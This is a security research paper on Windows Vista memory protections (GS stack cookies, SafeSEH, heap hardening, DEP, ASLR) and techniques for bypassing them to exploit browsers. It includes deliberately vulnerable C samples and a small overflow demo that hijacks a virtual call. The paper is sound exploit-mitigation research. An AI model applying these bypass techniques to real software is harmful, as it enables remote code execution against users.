Bypassing Browser Memory Protections

Alexander Sotirov <alex@sotirov.net>
Mark Dowd <markdowd@au1.ibm.com>

Introduction

Over the past several years, Microsoft has implemented a number of memory protection mechanisms with the goal of preventing the reliable exploitation of common software vulnerabilities on the Windows platform. Protection mechanisms such as GS, SafeSEH, DEP and ASLR complicate the exploitation of many memory corruption vulnerabilities and at first sight present an insurmountable obstacle for exploit developers.

In this paper we will discuss the limitations of all aforementioned protection mechanisms and will describe the circumstances in which they can fail. We aim to show that the protection mechanisms in Windows Vista are particularly ineffective for preventing the exploitation of memory corruption vulnerabilities in browsers. This will be demonstrated with a variety of exploitation techniques that can be used to bypass the protections and achieve reliable remote code execution in many different circumstances.

Organization of this paper

This paper is divided into three parts. Part 1 is concerned with describing the protection mechanisms that will be addressed in the remainder of the paper. This section contains all the necessary background information about the available protection mechanisms on Vista. It describes their behaviour, any configuration parameters that modify the functionality of the mechanism, and where relevant, some of the internals of how they work. Part 2 will then address the limitations of the protection mechanisms presented in Part 1. Here, techniques will be discussed that can be employed to help bypass each of the respective protections. Finally, Part 3 of the paper will discuss browser exploitation in the real world. Essentially, it will show how the theoretical techniques outlined in Part 2 can be utilized to produce robust and reliable exploits that work effectively in the wild. Since real-world exploitation requires bypassing of multiple memory protections, Part 3 will present several ways in which techniques can be combined to achieve remote execution. Furthermore, some interesting twists on these traditional techniques as well as alternative strategies will be presented by utilizing various popular or natively available technologies.

Part 1: Memory protection mechanisms in Windows

This section provides an overview of the memory protection mechanisms available on the Windows platform. Most of the discussion in this paper will focus on Windows Vista SP1, but it is important to be aware of the differences in the available protection mechanisms on different version of Windows. The following table provides a summary of these differences:

	XP SP2, SP3	2003 SP1, SP2	Vista SP0	Vista SP1	2008 SP0
GS					
stack cookies	yes	yes	yes	yes	yes
variable reordering	yes	yes	yes	yes	yes
#pragma strict_gs_check	no	no	no	?	?
SafeSEH					
SEH handler validation	yes	yes	yes	yes	yes
SEH chain validation	no	no	no	yes [1]	yes
Heap protection					
safe unlinking	yes	yes	yes	yes	yes
safe lookaside lists	no	no	yes	yes	yes
heap metadata cookies	yes	yes	yes	yes	yes
heap metadata encryption	no	no	yes	yes	yes
DEP					
NX support	yes	yes	yes	yes	yes
permanent DEP	no	no	no	yes	yes
OptOut mode by default	no	yes	no	no	yes
ASLR					
PEB, TEB	yes	yes	yes	yes	yes
heap	no	no	yes	yes	yes
stack	no	no	yes	yes	yes
images	no	no	yes	yes	yes

[1] undocumented, disabled by default

GS

Stack cookies

The /GS option of the Visual C++ compiler enables run-time detection of stack buffer overflows. If the option is enabled, the compiler stores a random value on the stack between the local variables and return address of a function. This value is known as a *stack cookie*. If an attacker exploits a buffer overflow to overwrite the return address of a function, they will also overwrite the cookie, changing its value. This is detected in the epilogue of the function and the program aborts before the modified return address is used.

A typical prologue and epilogue of a function protected by /GS is shown below:

```
; prologue

push    ebp
mov     ebp, esp
sub     esp, 214h
mov     eax, ___security_cookie ; random value, initialized at module startup
xor     eax, ebp                ; XOR the random value with the current base
pointer
mov     [ebp+var_4], eax        ; store the cookie

...

; epilogue

mov     ecx, [ebp+var_4]        ; get the cookie from the stack
xor     ecx, ebp                ; XOR the cookie with the current base pointer
call    __security_check_cookie ; check the cookie
leave
retn    0Ch

; __fastcall __security_check_cookie(x)

cmp     ecx, ___security_cookie
jnz     ___report_gsfailure     ; terminate the process
rep retn
```

#pragma strict_gs_check

The extra prologue and epilogue code can add a significant overhead to small functions. To minimize the performance impact of the /GS option, the compiler adds the stack cookie only to functions that contain string buffers or allocate memory on the stack with _alloca.

Since the C language has no native string type, the compiler defines a string buffer as an array of 1 or 2 byte elements with a total size of at least 5 bytes. The GS protection is applied to all functions with arrays that match this description. For example, the following variables will cause the functions containing them to be protected by GS:

```
char  a[5];     // protected, 5 byte array of elements of size 1
short b[3];     // protected, 6 byte array of elements of size 2

struct {
    char a;
} c[5];         // protected, 5 byte array of elements of size 1

struct {
    char a[5];
} d;            // protected because the structure contains a string buffer
```

Functions that don't use _alloca and don't contain variables considered to be string buffers are not protected by GS. For example, the variables below will not trigger the GS heuristic:

```
char  e[4];     // not protected, total size is less than 5 bytes
int   f[10];    // not protected, array element size greater than 2
char* g[10];    // not protected, array element size greater than 2

struct {
    char a;
    short b;
} h[5];         // not protected, array element size greater than 2

struct {
    char a1;
    char a2;
    char a3;
    char a4;
    char a5;
} i;            // not protected because the structure does not contain a string
buffer
```

Visual Studio 2005 SP1 introduced a new compiler directive that enables more aggressive GS heuristics. If `#pragma strict_gs_check` is turned on, the compiler adds a GS cookie to all functions that use arrays, dereference data through pointer arithmetic or pass the address of any local variable to another function. This results in a much more complete protection at the expense of runtime performance.

Variable reordering

The main limitation of the GS protection is that it detects buffer overflows only when the function with the overwritten stack cookie returns. If any other overwritten data on the stack is used by the function, the attacker might be able to take control of the execution before the GS cookie is checked.

To prevent the attacker from overwriting local variables or arguments used by the function, the compiler modifies the layout of the stack frame. It reorders the local variables, placing string buffers after all other variables. This ensures that a string buffer overflow cannot overwrite any other local variables. Function arguments that contain pointers or string buffers (called *vulnerable arguments* in the compiler documentation) are protected by allocating extra space on the stack and copying their values below the local variables. The original argument values located after the return address are not used in the rest of the code.

The following diagram shows the stack frame layout of a vulnerable function with and without GS protection:

vuln.c

```
void vuln(char* arg)
{
    char buf[100];
    int i;

    strcpy(buf, arg);

    ...
}
```

standard stack frame

```
buf
i
return address
arg
```

stack frame with /GS

```
copy of arg
i
buf
stack cookie
return address
arg
```

Without GS a buffer overflow of the `buf` variable will allow the attacker to overwrite `i`, the return address and the `arg` argument. Enabling GS adds a stack cookie, moves `i` out of the way and creates a copy of `arg`. The original argument can still be overwritten, but it is no longer used by the function. The attacker has no way of taking control of the execution before the cookie check detects the overflow and terminates the program.

SafeSEH

SEH handler validation

The SafeSEH protection mechanism is designed to prevent attackers from taking control of the program execution by overwriting an exception handler record on the stack. If a binary is linked with the /SafeSEH linker option, its header will contain a table of all valid exception handlers within that module. When an exception occurs, the exception dispatcher code in NTDLL.DLL verifies that the exception handler record on the stack points to one of the valid handlers in the table. If the attacker overwrites the exception handler record and points it somewhere else, the exception dispatcher will detect this and terminate the program.

The validation of the exception handler record begins in the RtlDispatchException function. Its first task is to make sure that the exception record is located on the stack of the current thread and is 4 byte aligned. This prevents the attacker from overwriting the Next field of a record and pointing it to a fake record on the heap. The function also verifies that the exception handler address is not located on the stack. This check prevents the attacker from jumping directly to shellcode on the stack.

The exception handler address is validated further by the RtlIsValidHandler function. The pseudocode of this function in Vista SP1 is shown below:

```
BOOL RtlIsValidHandler(handler)
{
    if (handler is in an image) {
        if (image has the IMAGE_DLLCHARACTERISTICS_NO_SEH flag set)
            return FALSE;

        if (image has a SafeSEH table)
            if (handler found in the table)
                return TRUE;
            else
                return FALSE;

        if (image is a .NET assembly with the ILonly flag set)
```

```
            return FALSE;

        // fall through
    }

    if (handler is on a non-executable page) {
        if (ExecuteDispatchEnable bit set in the process flags)
            return TRUE;
        else
            raise ACCESS_VIOLATION; // enforce DEP even if the CPU has no hardware
NX support
    }

    if (handler is not in an image) {
        if (ImageDispatchEnable bit set in the process flags)
            return TRUE;
        else
            return FALSE;           // don't allow handlers outside of images
    }

    // everything else is allowed

    return TRUE;
}
```

The ExecuteDispatchEnable and ImageDispatchEnable bits are part of the process execution flags in the kernel KPROCESS structure. These two bits control whether the exception dispatcher will call handlers located in non-executable memory or outside of an image. The two bits can be changed at runtime, but by default they are both set for processes with DEP disabled and cleared for processes with DEP enabled.

The process execution flags can be queried and set with NtQueryInformationProcess and NtSetInformationProcess, information class ProcessExecuteFlags (0x22), or with a kernel debugger. The example below shows the process flags of an Internet Explorer process on Vista SP1:

```
lkd> !process 0 0 iexplore.exe
PROCESS 83d29470  SessionId: 1  Cid: 0fec    Peb: 7ffd9000  ParentCid: 06dc
    DirBase: 1f105440  ObjectTable: 91b69b28  HandleCount: 376.
    Image: iexplore.exe

lkd> dt nt!_KPROCESS 83d29470 -r
   +0x06b Flags            : _KEXECUTE_OPTIONS
      +0x000 ExecuteDisable   : 0y0
      +0x000 ExecuteEnable    : 0y1
      +0x000 DisableThunkEmulation : 0y0
      +0x000 Permanent        : 0y0
      +0x000 ExecuteDispatchEnable : 0y1
      +0x000 ImageDispatchEnable : 0y1
      +0x000 DisableExceptionChainValidation : 0y1
      +0x000 Spare            : 0y0
```

By default, in processes with DEP enabled there are only two types of exception handlers that are considered valid by the exception dispatcher:

1. handler found in the SafeSEH table of an image without the NO_SEH flag
2. handler on an executable page in an image without the NO_SEH flag, without a SafeSEH table and without the .NET ILonly flag

In processes with DEP disabled there are have three valid cases:

1. handler found in the SafeSEH table of an image without the NO_SEH flag
2. handler in an image without the NO_SEH flag, without a SafeSEH table and without the .NET ILonly flag
3. handler on a non-image page, but not on the stack of the current thread

SEH chain validation

Windows Server 2008 introduced a new SEH protection mechanism that detects exception handler record overwrites by validating the SEH linked list. This idea for this SEH protection was first described in the Uninformed article Preventing the Exploitation of SEH Overwrites by Matt Miller and implemented later by Microsoft.

The Windows Server 2008 implementation registers the FinalExceptionHandler function in NTDLL.DLL as the first exception handler in each thread. As additional exception handlers are registered, they form a linked list with the last record always pointing to FinalExceptionHandler. The exception dispatcher walks this linked list and verifies that the last record still points to that function. If an attacker overwrites the Next field of an exception handler record, the validation will fail.

Due to the ASLR implementation in Windows, the attacker cannot easily guess the address of the FinalExceptionHandler function and place at the end of the overwritten SEH chain.

This protection mechanism is enabled by default on Windows Server 2008. It is also available on Vista with SP1, but is not turned on by default. It can be enabled by setting the undocumented registry key HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\kernel\ DisableExceptionChainValidation to 0.

Heap protection

The standard exploitation method for heap overflows in older versions of Windows is to overwrite the header of a heap chunk and create a fake free block with flink and blink pointers controlled by the attacker. When this free block is allocated or coalesced with other free blocks, the memory allocator will write the value of the flink pointer at the address specified in the blink pointer. This allows the attacker to perform an arbitrary 4-byte write anywhere in memory, which can easily lead to shellcode execution.

The heap protection mechanisms in Windows XP SP2 and Windows Vista are designed to stop this exploitation technique.

Safe unlinking

In Windows XP SP2 the heap allocator implements *safe unlinking*, which means that it verifies the integrity of the double linked list that the flink and blink pointers are part of before using them. This eliminates the possibility of using the memory allocator to do an arbitrary 4-byte write.

Heap metadata cookies and encryption

In addition to the safe unlinking, the allocator in XP SP2 stores a single byte cookie in the header of each heap chunk. This cookie is checked when the chunk is removed from the free list. If the heap chink header has been overwritten, the cookie will not match and the heap allocator will detect this as heap corruption.

In Windows Vista the cookie is supplemented by heap metadata encryption. All important fields in the heap header are XORed with a random 32-bit value and are decrypted before being used.

The cookies and the metadata encryption are very effective at preventing the attacker from abusing overwritten heap chunk headers or creating fake chunks on the heap.

DEP

Data Execution Prevention (DEP) is a technology introduced by Microsoft starting with Windows XP SP2 and Windows 2003. Its purpose is to mitigate the threat of memory corruption vulnerabilities at both the software and the hardware level. When talking about software, DEP really refers to several different security initiatives, several of which are discussed elsewhere in this paper (heap hardening and SafeSEH). In this section, therefore, the focus will be just the hardware component of DEP.

In the past, many popular CPUs (especially Intel-based ones) described page protections with just 2 bits - one bit to represent read access to a page, and one to represent write access. The ability to execute instructions from a given page was implicit if the page in question was marked as readable. This turned out to be a large security problem, since an attacker could exploit a vulnerability and redirect execution to a location in memory marked RW that contained code placed there by the attacker. Chip manufacturers have since addressed this oversight by adding an extra protection bit to represent whether execution is allowed or not. This name has several names depending on the manufacturer, but for this paper, the term "NX" will be used ("No eXecute", the name for the extra bit that AMD uses). However, this extra protection bit is only useful if the operating system utilizes it. Hardware DEP is Microsoft's support for this additional protection, thus allowing writable sections such as stacks, heaps, and data sections readable and writable, but not executable.

Hardware DEP behaves differently depending on the operating system specifics and also depending on the configuration. Firstly, it should be noted that when a 64-bit version of Vista is being used, then DEP is automatically turned on for all 64-bit processes. (As Rob Hensing points out in a blog post available at http://blogs.technet.com/robert_hensing/archive/2007/04/04/dep-on-vista-explained.aspx, 64-bit versions of Windows run 32-bit binaries in a number of cases for backwards compatibility reasons.) For processes running on 32-bit versions of Windows (or 64-bit versions of Windows running 32-bit binaries), a system-wide policy is consulted. This policy can operate in 4 modes:

- OptIn: In this configuration, several critical system processes are protected by default, and additional applications that support DEP can also participate. This is the default setting for Windows client operating systems (Windows XP SP2/3 and Vista).
- OptOut: By default, everything is DEP-enabled, but individual applications can be manually opted out. This is the default configuration for Windows server operating systems (Windows 2003 SP1/Windows 2008)
- AlwaysOn: All applications will run with DEP, no exceptions.
- AlwaysOff: No applications will run with DEP, no exceptions.

Opting In or Out

When the OptIn policy is enabled, NX-compatible processes will take advantage of the protection. For a process to be NX-compatible, the base executable needs to be compiled with the /NXCOMPAT flag. Using this flag sets the IMAGE_DLL_CHARACTERISTICS_NX_COMPAT property (0x0100) in the DllCharacteristics value in the optional header. When additional DLLs are loaded into the address space, it is possible that NX can be disabled. The following process is used to determine whether DEP should be disabled or not:

- If the DLL being loaded has the IMAGE_DLL_CHARACTERISTICS_NX_COMPAT flag set, NX will not be disabled, and execution will resume as normal.
- If the DLL is a "SafeDisc" DLL, then NX will be disabled. A SafeDisc DLL is defined as having "secserv.dll" as the name in the export directory table, and has 2 sections named ".txt" and ".txt2".
- If the DLL is in the application database, then NX is disabled. The application database is a series of DLLs that are known to be incompatible with NX. The list of DLLs in the database are found in the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DllNXOptions.
- If the DLL has NX-incompatible sections, then NX is disabled. A section is deemed to be "NX-incompatible" if it is called ".aspack", ".pcle", or ".sforce".

When the OptOut policy is enabled, the NX flag is ignored; all new loaded processes will automatically have DEP applied unless they appear in the process exception list. However, they are subject to being disabled during DLL loads as with OptIn.

DEP Process Information

Internally, processes opt in or out by setting its "Execution Options". This is a bitmask that is set from user space using the ZwSetInformationProcess() function with the flag SetExecuteOptions. The bitmask parameter contains a number of flags that are defined as follows:

```
struct _KEXECUTE_OPTIONS
{
    unsigned int ExecuteDisable:1;
    unsigned int ExecuteEnable:1;
    unsigned int DisableThunkEmulation:1;
    unsigned int Permanent:1;
    unsigned int ExecuteDispatchEnable:1;
    unsigned int ImageDispatchEnable:1;
    unsigned int DisableExceptionChainValidation:1;
    unsigned int Spare:1;
};
```

Of these flags, only the first four are relevant to DEP. The first flag, ExecuteDisable is used to indicate that DEP is enabled. Conversely, the second flag, ExecuteEnable, is used to indicate that

DEP is disabled. The DisableThunkEmulation flag indicates a special ATL thunk emulation mode that will be discussed shortly. Finally, the Permanent flag indicates that execute options cannot be further updated for a given process. This can be used to prevent attacks whereby a vulnerability is exploited and ZwSetInformationProcess() is invoked to disable DEP and thus allowing the exploit to eventually succeed. Such an attack was presented by skape and Skywing in "Uninformed" (http://www.uninformed.org/?v=2&a=4). Note that starting with XP SP3 and Vista SP1 onwards, an API exists for manipulating DEP policy for a process programmatically, rather than relying on using ZwSetInformationProcess(). The SetProcessDEPPolicy(), GetProcessDEPPolicy(), and GetSystemDEPPolicy() functions make up this API (http://msdn.microsoft.com/en-us/library/bb736299(VS.85).aspx).

Thunk Emulation

One of the biggest problems with utilizing DEP is that some applications will simply not work, since they rely on some code to be executed from writeable memory. It turns out that many applications that behave this way do so because the ATL code shipped by Microsoft and used extensively by ISV's perform actions like the ones DEP is trying to prevent. Microsoft decided to therefore provide a "cheat" to enable ATL code to function in DEP environments. Quite simply, when a DEP exception is encountered, the function KiEmulateAtlThunk() is invoked, which checks for a series of well known instruction sequences utilized by ATL. The process for dealing with these thunks is as follows:

- If one of the 5 or so thunks doesn't appear to be the source of the DEP exception, allow the system to continue with normal DEP exception functionality.
- If an ATL thunk is identified, verify whether it appears to be valid or not. The most important aspect of this is checking that the address being executed is not part of an image, and that the target IP of the branch instruction in the thunk is inside a valid image. If the thunk is invalid, continue with DEP exception as normal.
- If the thunk is valid, "manually" emulate the thunk and continue the process as if nothing happened.

ASLR

Address Space Layout Randomization (ASLR) is a security feature that is intended to randomize the location of where objects will be mapped into memory in the virtual address space of a given process. When implemented correctly, ASLR provides a significant hurdle to a would-be attacker, since they will not know the precise location of an interesting address to overwrite. Furthermore, even if an attacker is able to overwrite a useful pointer in memory (such as a saved instruction pointer on the stack), rewriting it to point to something of value will also be difficult.

Although the concept of ASLR is not new, it is a relatively recent addition to Windows. Windows Vista and Windows Server 2008 are the first operating systems in the Windows family to provide ASLR natively. Previous to these releases, there were a number of third party solutions available that provided ASLR functionality to varying degrees. This paper will focus on Vista's native implementation.

Vista's ASLR randomizes the location of images (binaries mapped into memory), threads, stacks, and other process control information (primarily the PEBs and TEBs). Each of these components will be examined briefly, and then some of the limitations of the system will be explored later in the paper.

Image randomization

Image positioning randomization is designed to place images at a random location in the virtual address space of each process. Vista's ASLR has the capability to randomly position both shared libraries (DLLs) and executable files. Note that in order for a library or an executable to be randomly rebased, there are several conditions that need to be met; these will be discussed shortly. Before talking about the specifics, it is worth mentioning that there is a system-wide configuration parameter that will determine the exact behaviour regarding whether images are relocated in memory. This behaviour is controlled using the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\MoveImages, which by default does not exist. The following behaviour is defined for this key:

- If the value is set to 0, never randomize image bases in memory, always honour the base address
- If set to -1, randomize any image regardless of whether they have elected to take part in ASLR or not (providing they are relocatable).
- If set to any other value, randomize only images that have elected to take part in randomization. This is the default behaviour.

Executable images are randomized if they elect to take part in ASLR and also have relocation information present. Participating in ASLR is indicated by setting the IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE (0x40) flag in the DllCharacteristics value, which is located within the PE file's optional header. Generally speaking, when a new address is being selected as an image base for an executable, a random value will be added to or subtracted from the ImageBase value proposed in the executable's optional header. This random value is based on the time given by the system clock, and can take on a possible 255 different values (from 0x10000 through 0xFF0000). The result is that the image will be loaded at a random point within 16 MB of the preferred image base. The following code is some rough pseudocode derived from MiSelectImageBase() on Vista SP1, which shows the base address selection for an executable.

```
// Note: Parts of the code from this sample taken from presentation
// by Ollie Whitehouse (BH Federal 2007), who
// got this code from Microsoft apparently.

#define X64K        0x10000
#define PAGE_SIZE   4096

if ( (ImageInfo->ExportedImageInformation.ImageCharacteristics & IMAGE_FILE_DLL)
== 0)
{

RelocateExe:

    TSCStart = ReadTimeStampCounter();      // rdtsc

    Delta = (ULONG) ( (TSCStart & 0xFF) * X64K);

    if(Delta == 0)
        Delta = X64K;

    if(ImageInfo->dwImageBase >= _MmHighestUserAddress ||
        (dwImageSize = usPageCountdiv16 * 16 * PAGE_SIZE) > _MmHighestUserAddress
||
        (dwImageEnd = ImageInfo->dwImageBase + dwImageSize) < ImageInfo-
>dwImageBase ||
        ImageInfo->dwImageBase + dwImageSize > _MmHighestUserAddress)
```

```
        return 0;

    if( (outputInfo->dwOffset14 + Delta) &&
        (ImageInfo->dwImageBase < Delta) &&     // outputInfo->dwOffset14 == 0
        ( (dwNewBase = ImageInfo->dwImageBase + Delta) < ImageInfo->dwImageBase ||
          dwImageSize + dwNewBase > _MmHighestUserAddress ||
          dwImageSize + dwNewBase < dwImageEnd) ) )
        return 0;
    else
        dwNewBase = ImageInfo->dwImageBase - Delta;

    outputInfo->dwOffset1C = -1;
    outputInfo->usOffset20 = usPageCountdiv16;
    ImageInfo->pArea->dwOffset34 = -1;
    ImageInfo->pArea->usOffset38 = usPageCountdiv16;

    return dwNewBase;
}
```

As can be seen, a number of sanity checks are performed, and, providing they succeed, the new image base is returned. Note that a return value of 0 from MiSelectImageBase() indicates that an image cannot be relocated.

For DLLs, the randomization process is slightly different. For efficiency reasons, it is preferable to be able to load a DLL at the same address for each process that uses that DLL. To facilitate this behaviour, a global bitmap (named _MiImageBitMap) is used to represent a portion of the available address space starting from the highest available load address (0x78000000 on a 32-bit address space) and extending down towards 0. Each bit in the bitmap represents 16 pages (64K on an intel machine). Since _MiImageBitMap is 0x2800 bytes in length, the portion of the address space represented is 0x28000000 bytes (from 0x78000000 through 0x50000000). As each DLL is loaded, its position is recorded by setting the appropriate number of consecutive bits in the bitmap according to the size of the DLL being mapped. The following pseudocode demonstrates this process.

```
// Note: Parts of the code from this sample taken from presentation
// by Ollie Whitehouse (BH Federal 2007), who
// got this code from Microsoft apparently.

#define X64K        0x10000
#define PAGE_SIZE   4096

usPageCountdiv16 = (USHORT) ( (ImageInfo->dwPageCount1 + 0x0F) / 16);
dwHighVA = _MiImageBitMapHighVa;

if ( (ImageInfo->ExportedImageInformation.ImageCharacteristics & IMAGE_FILE_DLL)
== 0) ||
    (dwStartIndex = RtlFindClearBits(_MiImageBitMap, usPageCountdiv16,
_MiImageBias)) == -1)
{

RelocateExe:
    ...
}

bLevel = KeAcquireQueuedSpinLock(2);
dwStartIndex = RtlFindClearBitsAndSet(_MiImageBitMap, usPageCountdiv16,
dwStartIndex);
KeReleaseQueuedSpinLock(2, bLevel);
```

```
if(dwStartIndex == -1)
    goto RelocateExe;

dwEndImage = dwStartIndex + usPageCountdiv16;

if( (dwImageBase = (dwHighVA - ((dwStartIndex + usPageCountdiv16) * 16 *
PAGE_SIZE) ) ) == ImageInfo->dwImageBase)
{
    // we have the same Image Base that was specified in the DLL, it isn't
randomized..

    bLevel = KeAcquireQueuedSpinLock(2);
    if((dwNewStartIndex = RtlFindClearBitsAndSet(_MiImageBitMap, usPageCountdiv16,
dwEndImage)))
        RtlClearBits(_MiImageBitMap, dwStartIndex, usPageCountdiv16);

    dwStartIndex = dwNewStartIndex;

    KeReleaseQueuedSpinLock(2, bLevel);

    dwImageBase = dwHighVA - ( (dwStartIndex + usPageCountdiv16) * PAGE_SIZE *
16);
}

outputInfo->dwOffset1C = dwStartIndex;
outputInfo->usOffset20 = usPageCountdiv16;
ImageInfo->pArea->dwOffset34 = dwStartIndex;
ImageInfo->pArea->usOffset38 = usPageCountdiv16;

return dwImageBase;
```

A couple of things are worth explaining here. Firstly, the MiImageBias value is an 8-bit value selected earlier in the boot process. Like the executable positioning code showed previously, the time stamp counter is utilized (specifically, the low byte returned from the rdtsc instruction). Essentially, this MiImageBias value is used as a random offset from the beginning of the _MiImageBitMap bitmap, where space for the DLL being loaded will be searched for. In effect, this means that the first DLL loaded into the address space will end at MiImageBias (remember, _MiImageBitMap starts from high memory and extends towards 0, so it is backwards), and additional DLLs will be placed one after the other following that one. (The ordering of the DLLs will depend somewhat on their size.) This behaviour is only exhibited for DLLs being rebased - ie, ones that are participating in ASLR or ones that cannot load at their preferred base and are deemed to be relocatable.

Heap randomization

Part of Microsoft's ASLR strategy involves randomizing where a heap (created with the HeapCreate() function) begins in memory. In the past, a newly created heap (including the default process heap) was created using the NtAllocateVirtualMemory() primitive, which does a linear address space search starting at a point chosen by the caller. The heap begins with a sizeable data structure that has a number of elements that have been abused to exploit heap overflows in the past. Allocating a heap with NtAllocateVirtualMemory() doesn't actually guarantee that it will be statically positioned, but in practice it nearly always resided at a predictable location. In Vista, some randomness has been added to the allocation process in order to make things harder for a would-be attacker. This randomization takes place during the early stages of RtlHeapCreate(). Essentially, a 5-bit random value is generated and then multiplied by 64K. This value is then used as an offset from the base address returned by the NtAllocateVirtualMemory() where the heap data structure will begin. The memory in the block before this offset is subsequently freed. The following pseudocode demonstrates this process.

```
LPVOID lpAllocationBase = NULL, lpHeapBase = NULL;
DWORD dwRandomSize = (_RtlpHeapGenerateRandomValue64() & 0x1F) << 16;

// Integer overflow check, however this allocation would fail anyway
if(dwRegionSize + dwRandomSize < dwSize)
    dwRandomSize = 0;

dwRegionSize += dwRandomSize;

if(NtAllocateVirtualMemory(INVALID_HANDLE_VALUE, &lpAllocationBase, 0,
                           &dwRegionSize, MEM_RESERVE, dwProtectionMask) < 0)
    return NULL;

lpHeapBase = lpAllocationBase;

if(dwRandomSize &&
   _RtlpSecMemFreeVirtualMemory(INVALID_HANDLE_VALUE, &lpAllocationBase,
                                &dwRandomSize, MEM_RELEASE) >= 0)
{
    lpHeapBase += (LPBYTE)lpAllocationBase + dwRandomSize;
    dwRegionSize -= dwRandomSize;
}
```

The idea is that even if NtAllocateVirtualMemory() returns a predictable location, this random offset will give the attacker only a 1/32 chance of guessing the correct location of the base heap structure. Additionally, since the memory before the random offset is released, there is a good chance that an invalid guess will result in an immediate access violation. Note that since the random value is multiplied by 64K, offsets for the start of the heap range from 0 to 0x1F0000 in 64K increments (making the maximum offset from the returned base address close to 2MB).

Stack randomization

Vista also adds some entropy to the location of stacks for created threads within a given process. The stack randomization is twofold; the base of the stack is chosen randomly, and an offset into the initial page where the stack starts getting used is also chosen at random, so that targeting precise values on the stack will often not be a viable option. The stack base is chosen by searching through the virtual address space for a suitable size hole, where *hole* is defined as a consecutive series of pages not mapped into memory (ie. they are not in the working set). Entropy is added to this process by generating a random 5-bit value X based on the time stamp counter, and then searching through the address space X times for the required size hole. Once a hole has been found, it is passed as the suggested base address to NtAllocateVirtualMemory(). After that, the offset for the stack is adjusted randomly in PspSetupUserStack(). Again, a strategy is employed whereby a random value is derived from the time stamp counter, this time 9 bits. This 9-bit random value is then multiplied by 4 (guaranteeing DWORD alignment), and subtracted from the stack base. This results in a maximal offset of 7FC bytes, or half a page.

Part 2: Bypassing memory protections

The design and implementation of the memory protection mechanisms in Windows have a number of limitations that reduce their effectiveness. In this section we will discuss these limitations and show how an attacker can take an advantage of them to bypass the protections.

GS

Function heuristics

The default heuristic used to detect string buffers will leave some vulnerable functions unprotected. One example is the ANI buffer overflow (CVE-2007-0038) which was a result of copying a user-specified number of bytes into a fixed size structure on the stack. Since the structure did not contain any string buffers, the vulnerable function did not have a stack cookie. A simplified version of the vulnerable code is shown below:

```
void gs1(char* src, int len)
{
    struct {
        int a;
        int b;
    } buf;

    memcpy(&buf, src, len);
}
```

Another type of buffers that are not protected by GS are arrays of integers or pointers. A sample vulnerable function is shown below:

```
void gs2(int count, int data)
{
    int array[10];
    int i;

    for (i = 0; i < count; i++)
        array[i] = data;
}
```

Use of overwritten stack data before the cookie check

Let's take a look at a diagram of the data on the stack of a function protected by GS:

```
callee saved registers
copy of pointer and string buffer arguments
local variables
string buffers               |o
exception handler record     |v
gs cookie                    |e
saved frame pointer          |r
return address               |f
arguments                    |l
                             |o
stack frame of the caller    |w
                             \/
```

A buffer overflow in one of the string buffers allows us to overwrite four types of interesting data on the stack:

- other string buffers in the vulnerable function
- exception handling record in the vulnerable function
- arguments that don't contain pointers or string buffers
- any stack data in functions up the call stack

The last item is particularly interesting, because there are many common situations in which functions are passed pointers to objects or structures on the stack of their callers. The following code sample demonstrates an exploit that overwrites an object in the caller stack frame of the caller and uses a virtual function call to take control of the execution:

```
class Foo {

public:

    void __declspec(noinline) gs3(char* src)
    {
        char buf[8];

        strcpy(buf, src);

        bar();      // virtual function call
    }

    virtual void __declspec(noinline) bar()
    {
    }
};

int main()
{
    Foo foo;

    foo.gs3(
        "AAAAAAAA"      // buffer
        "AAAA"          // gs cookie
        "AAAA"          // return address of gs3
        "AAAA"          // argument to gs3
        "BBBB");        // vtable pointer in the foo object
}
```

The foo object is allocated on the stack of the main function and passed as the `this` pointer to the gs3 member function. The buffer overflow in gs3() allows us to overwrite the object and its vtable pointer. This pointer is used to find the address of the virtual function bar. If we point it to a fake vtable, we can redirect the virtual function call and execute our shellcode before the GS cookie check in the gs3 function epilogue.

Exception handling

Perhaps the most critical limitations of GS is that it does not protect exception handler records on the stack. A buffer overflow can be used to overwrite an exception handler record of the vulnerable function or any other function up the call stack. If the attacker can trigger an exception before the GS cookie check, the overwritten exception handler record will allow them to gain control of the execution.

Consider the following sample function:

```
int gs4(char* src, int len)
{
    char buf[8];
    int i, slashes;

    // Buffer overflow
    strcpy(buf, src);

    // Count the slashes in the buffer, using the len argument to end the loop
    for (i = 0, slashes = 0; i < len; i++)
        if (buf[i] == '\\')
            slashes++;

    return slashes;
}
```

The compiler does not consider `len` to be a vulnerable argument because it is not a pointer or a string buffer. Consequently the `len` argument is stored above the string buffer and can be overwritten by the attacker. If it is overwritten with a large value, the loop that counts the slashes will reach the end of the stack and trigger an access violation exception.

The exception dispatcher in NTDLL.DLL will call the exception handler specified in the overwritten exception handler record on the stack. Since the attacker controls this function pointer, it can be used to gain control of the execution.

SafeSEH

SEH handlers on the heap

In processes with DEP disabled the exception dispatcher allows SEH handlers to be located on any non-image page except for the stack. This means that we can put our shellcode on the heap and use an overwritten exception handler record to jump to it, rendering the SafeSEH protection completely ineffective. Since the process does not have DEP, we don't even have to worry about the heap being executable.

DLLs without SafeSEH

If the process has any modules linked without the /SafeSEH option, we can use an overwritten exception handler record to jump to any code in one of these modules. This technique was used to exploit the Microsoft DNS RPC Service vulnerability (MS07-029) on Windows Server 2003. The vulnerable process had loaded ATL.DLL, which did not have a SafeSEH table was could be used as a target after a SEH overwrite.

Heap protection

Unsafe unlinking of the lookaside

The one critical omission in the safe unlinking protection in XP SP2 are the lookaside lists. These are single linked lists that keep track of free blocks of sizes less than 1024 bytes. When a free block is allocated from the lookaside, it is removed from the linked list and its flink pointer is written to the head of the list. At this point there is no verification that the flink pointer is valid. The next allocation for a chunk of the same size will return the flink pointer as the new allocated block.

If an attacker can overwrite the header of a free block on the lookaside list, they can replace the flink pointer with any address and write an arbitrary number of bytes there after the next allocation returns that address.

In Windows Vista the lookaside lists were replaced by the Low-Fragmentation Heap, which does not suffer from this weakness.

Overwriting application data

The heap implementation on Windows Vista is sufficiently hardened so that generic exploitation of the heap allocator is no longer feasible. To exploit heap overflows, an attacker must target the application data on the heap. If we can overwrite a function, vtable or object pointer stored on the heap, we'll be able to gain control of the program execution.

